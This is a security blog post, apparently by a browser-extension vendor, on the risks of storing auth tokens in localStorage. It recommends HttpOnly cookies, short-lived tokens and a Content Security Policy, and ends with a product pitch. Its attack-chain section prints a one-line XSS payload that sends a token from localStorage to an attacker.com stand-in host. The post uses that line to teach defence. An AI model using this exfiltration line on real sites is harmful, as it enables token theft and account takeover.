# Is localStorage safe for tokens? Here's the honest answer.

> Tokens in localStorage are readable by any script on the page. The real risks, the alternatives, and why one XSS turns localStorage into a token buffet.

Canonical: https://www.phishclean.com/blog/localstorage-token-security-risks
Last updated: 2026-08-13

February 25, 2026 · 9 min read

By [PhishClean Research Team](https://www.phishclean.com/about) - browser security guidance based on phishing analysis, defensive research, and product work.

If you're storing JWTs in localStorage, every script running on your page can read them. That's not a bug. It's literally how localStorage was designed. And it's a bigger problem than most developers realize.

## The one line that should worry you

Open your browser's DevTools console on almost any web app and try this:

localStorage.getItem('token')

If the app stores its auth token in localStorage (and many do), you just read it. Any JavaScript running on the page can do the same thing — your code, third-party analytics scripts, that A/B testing library, the live chat widget, and yes, any malicious script that finds its way onto the page through an XSS vulnerability.

localStorage has no access control. There are no permissions, no scoping, no way to say "only my code can read this key." It's a flat key-value store that's open to every script in the same origin.

## Why developers use localStorage anyway

Let's be fair — there are reasons localStorage is popular for token storage, and they're not unreasonable:

- **It's dead simple.** `localStorage.setItem('token', jwt)` and you're done. No server configuration, no cookie headers to manage, no CORS headaches.
- **It works with SPAs.** Single-page applications using client-side routing often use localStorage because the token persists across page navigations without server involvement.
- **No CSRF vulnerability.** Tokens in localStorage don't get automatically sent with requests (unlike cookies), so you don't need CSRF protection. This is a genuine security advantage.
- **It's the default in many tutorials.** Search for "React JWT authentication tutorial" and most of them use localStorage. It's the path of least resistance.

The problem isn't that localStorage is inherently broken. The problem is that it trades one category of security risk (CSRF) for another (XSS token theft) — and XSS is significantly harder to prevent across an entire application.

## XSS + localStorage = complete account takeover

Here's how a realistic attack chain works. It's not theoretical — this pattern shows up in bug bounty reports regularly.

### Step 1: The attacker finds an XSS vulnerability

Maybe it's a reflected XSS in a search parameter. Maybe it's a stored XSS in a comment field. Maybe it's a DOM-based XSS from a third-party library. The specific vector doesn't matter — what matters is that the attacker can execute JavaScript on the page.

### Step 2: The payload is tiny

// That's it. That's the entire attack.  
fetch('https://attacker.com/steal?t=' +  
localStorage.getItem('token'))

One line. The JWT is exfiltrated to the attacker's server. No user interaction required beyond visiting the page with the XSS.

### Step 3: The attacker replays the token

JWTs are self-contained. The attacker doesn't need to know the user's password. They paste the stolen JWT into their own browser, set it as a header on API requests, and they're logged in as the victim. If the token doesn't expire for hours (or days — which is common), they have a long window to work with.

A single XSS vulnerability anywhere in your application — including in third-party scripts you don't control — gives an attacker full access to every token stored in localStorage. With HttpOnly cookies, the same XSS can't read the token at all.

## localStorage vs sessionStorage vs HttpOnly cookies

These three options get discussed constantly in security forums. Here's a straight comparison:

| Property | localStorage | sessionStorage | HttpOnly Cookie |
| --- | --- | --- | --- |
| Accessible to JavaScript | Yes | Yes | No |
| Survives page reload | Yes | Yes | Yes |
| Survives tab close | Yes | No | Depends on expiry |
| Sent with every request | No (manual) | No (manual) | Yes (auto) |
| CSRF risk | None | None | Yes (needs SameSite/token) |
| XSS token theft risk | High | High | None |
| Storage limit | ~5-10 MB | ~5-10 MB | ~4 KB |

sessionStorage is marginally better than localStorage because the token doesn't persist after the tab is closed. But it's still readable by any script on the page, so it doesn't fix the XSS problem.

HttpOnly cookies are the only option that prevents JavaScript from reading the token entirely. The trade-off is that you need CSRF protection (use `SameSite=Strict` or `SameSite=Lax` and you're mostly covered) and the cookie is sent automatically with every request to the domain.

## What you should do instead

### For new projects: use HttpOnly cookies

Set your auth token as an HttpOnly, Secure, SameSite cookie. The browser will include it automatically in requests, and no JavaScript — malicious or otherwise — can read it.

// Server-side (Node.js/Express example)  
res.cookie('session', token, {  
httpOnly: true, // Not accessible via JavaScript  
secure: true, // HTTPS only  
sameSite: 'lax', // CSRF protection  
maxAge: 3600000 // 1 hour  
});

### For existing apps: add token rotation

If migrating to HttpOnly cookies is a big refactor, at least implement short-lived tokens with refresh rotation. Issue access tokens that expire in 15 minutes. Use a longer-lived refresh token (in an HttpOnly cookie if possible) to get new access tokens. This limits the damage window if a token is stolen.

### Always: implement a Content Security Policy

A strong CSP significantly reduces XSS risk by controlling which scripts can run on your page. At minimum:

Content-Security-Policy: script-src 'self'; object-src 'none'

This prevents inline scripts and scripts from external domains from executing — which blocks most XSS payloads and [formjacking scripts](https://www.phishclean.com/threats/formjacking-attacks).

There's no perfect solution. HttpOnly cookies trade XSS risk for CSRF risk (though SameSite largely solves that). localStorage trades CSRF risk for XSS risk. The difference is that XSS is harder to prevent completely, especially in applications with many third-party scripts. That's why the security community generally recommends HttpOnly cookies as the default.

## How PhishClean detects exposed tokens

We built PhishClean's [Token storage scanning](https://www.phishclean.com/features/jwt-token-leak-detection) signal specifically because this problem is so widespread. It checks for auth tokens sitting in localStorage and sessionStorage on pages you visit.

Why does this matter for end users (not just developers)?

- If a site you use stores your session token in localStorage, and that site has an XSS vulnerability, your token is at risk. PhishClean alerts you to the exposure.
- PhishClean also detects when tokens appear in page content, URLs, or network requests — signs that a [phishing page](https://www.phishclean.com/threats/phishing-attacks) or compromised site is leaking session data.
- The [secret leak scanner](https://www.phishclean.com/features/secret-leak-scanner) catches [API keys](https://www.phishclean.com/blog/what-are-api-key-leaks) exposed alongside tokens — because where there's one secret stored insecurely, there are usually more.

Everything runs locally in your browser. PhishClean never reads or transmits your actual tokens — it detects patterns that indicate insecure storage.

## Related reading

- [JWT token leak detection How PhishClean detects leaked session tokens in real time](https://www.phishclean.com/features/jwt-token-leak-detection)
- [What are API key leaks? The related problem of exposed secrets in web pages and source code](https://www.phishclean.com/blog/what-are-api-key-leaks)
- [Formjacking attacks Injected scripts that steal form data — often targeting pages with weak CSP](https://www.phishclean.com/threats/formjacking-attacks)
- [Hidden iframe attacks Another attack vector that exploits JavaScript's access to page content](https://www.phishclean.com/threats/hidden-iframe-attacks)

## Spot insecure token storage

PhishClean detects exposed JWTs, API keys, and session tokens on every page you visit — locally, in real time. Detection stays inside your browser.

[Install PhishClean](https://www.phishclean.com/#install)

Last updated: 13 August 2026

## Share this guide

If this helped, share it with someone who would benefit from it, or subscribe for new browser-security guides from PhishClean.

Share on X Share on LinkedIn

Get practical phishing and browser-safety articles in your inbox. No salesy drip, just new guides and product updates when they are worth sending.
